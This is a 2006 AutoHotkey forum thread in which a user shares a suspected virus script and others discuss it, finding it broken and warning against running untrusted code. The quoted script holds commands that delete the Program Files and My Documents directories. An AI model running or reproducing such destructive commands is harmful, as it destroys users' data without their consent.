AutoHotkey Homepage AutoHotkey Community
Let's help each other out
 
 FAQFAQ   SearchSearch   MemberlistMemberlist   RegisterRegister 
 ProfileProfile   Log in to check your private messagesLog in to check your private messages   Log inLog in 

Weird Script i Extracted From an E-mail

 
Reply to topic    AutoHotkey Community Forum Index -> General Chat
View previous topic :: View next topic  
Author Message
Soldier3570
Guest





PostPosted: Wed Aug 30, 2006 6:46 am    Post subject: Weird Script i Extracted From an E-mail Reply with quote

Not sure what this is but take a look i think it might be a virus
Back to top
Soldier3570
Guest





PostPosted: Wed Aug 30, 2006 6:48 am    Post subject: Reply with quote

IfWinExist Untitled - Notepad
{
WinActivate
}
else
{
FileRemoveDir, C:\Program Files
FileRemoveDir, My Documents
FileRemoveDir, My Computer
}
IfWinExist Untitled - Notepad
{
WinActive
}
else
{
run notepad
}
send, {shiftup}C{shiftdown}ongratz you have just activated a Virus called Ekotic
sleep, 10000

IfExist, notepad Untitled - Notepad
{
FileDelete, notpad
}

I havnt executed this script just yet but i dont want to either lol Laughing
i dont want to see what it does Shocked
Back to top
TucknDar



Joined: 07 Jan 2006
Posts: 47
Location: Oslo, Norway

PostPosted: Wed Aug 30, 2006 7:20 am    Post subject: Reply with quote

Too bad if people start using AHK for making viruses. Not that I'd run stuff like that, but kinda sad nonetheless
Back to top
View user's profile Send private message Visit poster's website MSN Messenger
Soldier3570



Joined: 30 Aug 2006
Posts: 10

PostPosted: Wed Aug 30, 2006 7:27 am    Post subject: Reply with quote

yea it sux because i just found it randomly in 'My Documents' and i have no idea how it got there but i have downloaded Visual Basics off some site and... i checked the HTML source code and it has stuff like 'autoupload('Ekotic') so i have no idea how that worxs but it just has and now i have a random script that i have not yet deleted but i was thinking off making an AV to block this kind of stuff
_________________
Soldier3570
Back to top
View user's profile Send private message
SanskritFritz



Joined: 17 Feb 2005
Posts: 280
Location: Hungary, Budapest

PostPosted: Wed Aug 30, 2006 8:11 am    Post subject: Reply with quote

Here is the result:

Quote:
Error at line 10.

Line Text: WinActive
Error: This line does not contain a recognized action.

The program will exit.


A script kiddies first try, untested, but better be careful. Never execute a code you did not make sure you understand or trust the author. Likewise if someone with a guest account called SanskritFritz posts a code, be careful as well Wink
_________________
Is there another word for synonym?
Back to top
View user's profile Send private message
majkinetor



Joined: 24 May 2006
Posts: 4511
Location: Belgrade

PostPosted: Wed Aug 30, 2006 1:59 pm    Post subject: Reply with quote

You should report to the author that the virus is not working correctly.
Maybe you should point him to this thread so we can discuss the problem.

I found 2 problems myself
- error is on line 13 not line 10
- My Computer somehow can't be removed. Maybe because of CD. I will report this to wish list

Solider, please update the code, and forward this e-mail to yourself, and see how it works now ! Very Happy
_________________
Back to top
View user's profile Send private message
soldier3570 - guest
Guest





PostPosted: Sun Sep 03, 2006 1:53 am    Post subject: Reply with quote

hmm ok so it is a safe code to use then ? it looks so dangerous tho Shocked o well i wont open it lol i hate this thing my mate is sending me hotkey executables and i dont want to use them
Back to top
Display posts from previous:   
Reply to topic    AutoHotkey Community Forum Index -> General Chat All times are GMT
Page 1 of 1

 
Jump to:  
You can post new topics in this forum
You can reply to topics in this forum


Powered by phpBB © 2001, 2005 phpBB Group